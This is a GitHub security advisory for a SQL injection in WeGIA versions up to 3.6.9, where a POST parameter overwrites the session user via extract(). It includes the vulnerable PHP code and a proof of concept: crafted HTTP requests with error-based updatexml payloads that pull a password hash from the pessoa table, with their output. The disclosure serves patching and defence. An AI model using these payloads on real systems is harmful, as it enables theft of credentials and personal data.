SQL Injection via Session Variable Override in DespachoControle.php

High **nilsonLazarin** published **GHSA-666r-v2m7-xgp9** last week

Package

No package listed

Affected versions

<= 3.6.9

Patched versions

3.6.10

Description

Summary

WeGIA contains a SQL injection vulnerability in dao/memorando/UsuarioDAO.php. The cpf_usuario POST parameter overwrites the session-stored user identity via extract($_REQUEST) in DespachoControle::verificarDespacho(), and the attacker-controlled value is then interpolated directly into a raw SQL query, allowing any authenticated user to query the database under an arbitrary identity.

Details

The verificarDespacho() method in the memorando dispatch controller reads the current user's CPF from $_SESSION, then immediately calls extract($_REQUEST) — which replaces $cpf_usuario with any POST parameter of the same name. The overwritten value is passed to UsuarioDAO::obterUsuario() without any sanitization

```
// controle/memorando/DespachoControle.php (lines 87-104)
session_start();
$cpf_usuario = $_SESSION["usuario"];  // read from session
extract($_REQUEST);                   // POST cpf_usuario silently overwrites it

$pessoa = new UsuarioDAO();
$id_pessoa = $pessoa->obterUsuario($cpf_usuario);  // attacker-controlled
```

UsuarioDAO::obterUsuario() embeds the value directly into a raw query

```
// dao/memorando/UsuarioDAO.php (line 11)
$consulta = $pdo->query("SELECT id_pessoa FROM pessoa WHERE cpf = '$usuario'");
```

The session check that is supposed to bind the operation to the authenticated user is fully neutralized. An attacker does not need elevated privileges — any valid session is sufficient.

PoC

Prerequisites : An authenticated session. Any valid login is sufficient.

Step 1 — Confirm the session override (syntax error)

```
POST /WeGIA/controle/control.php HTTP/1.1 Host: sec.wegia.org:8000 Cookie: PHPSESSID=
<session> Content-Type: application/x-www-form-urlencoded
```

```
nomeClasse=DespachoControle&metodo=incluir&modulo=memorando&texto=test&destinatario=1&id_
memorando=1&cpf_usuario=admin'
```

```
Notice: session_start(): Ignoring session_start() because a session is already active in
/var/www/WeGIA/controle/memorando/DespachoControle.php on line 89
```

```
Error:SQLSTATE[42000]: Syntax error or access violation: 1064 ...near ''admin'''
```

The session_start() notice confirms the session was already active before extract() ran. The SQL error shows 'admin'' — the injected single quote reached the raw query, proving the override succeeded.

Step 2 — Extract credentials from the pessoa table

Because the injection point is inside a query against pessoa, credentials can be targeted directly without any additional table pivoting. MariaDB truncates XPATH error output to 32 characters; extract in 25-char chunks over 3 requests

Request 1 - cpf + hash length + first 15 chars of hash (positions 1–24)
POST /WeGIA/controle/control.php HTTP/1.1
...
nomeClasse=DespachoControle&metodo=incluir&modulo=memorando&texto=test&destinatario=1&id_memorando=1&cpf_usuario=admin'+AND+updatexml(1,concat(0x7e,SUBSTRING((SELECT+concat(cpf,0x3a,LENGTH(senha),0x3a,senha)+FROM+pessoa+LIMIT+1),1,25),0x7e),1)--+-
→ 'admin:64:9dcc9cbd309bfe6'

Request 2 - positions 25–49 (overlap by 1 to recover char truncated in Request 1)
...&cpf_usuario=admin'+AND+updatexml(1,concat(0x7e,SUBSTRING((SELECT+concat(cpf,0x3a,LENGTH(senha),0x3a,senha)+FROM+pessoa+LIMIT+1),25,25),0x7e),1)--+-
→ '3101c96687fb79ca847e9f238'

Request 3 - positions 50–73
...&cpf_usuario=admin'+AND+updatexml(1,concat(0x7e,SUBSTRING((SELECT+concat(cpf,0x3a,LENGTH(senha),0x3a,senha)+FROM+pessoa+LIMIT+1),50,25),0x7e),1)--+-
→ 'ce965f82eb44e8daf825cdbb''

Full hash: 9dcc9cbd309bfe63101c96687fb79ca847e9f238ce965f82eb44e8daf825cdbb

Impact

The vulnerability exposes the entire pessoa table, which stores the CPF numbers, passwords, and personal data of all residents and staff registered in the system. Because the attacker supplies the identity against which the query runs, they can target any specific account by CPF without knowing the victim's session. Combined with the weak SHA-256 hashing used for passwords (see related advisory CVE-004), extracted hashes can be cracked offline with no rate limiting.

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-40285

Weaknesses

- CWE-89
- CWE-302
- CWE-473

Credits

pentestju	Reporter
GabrielPintoSouza	Remediation developer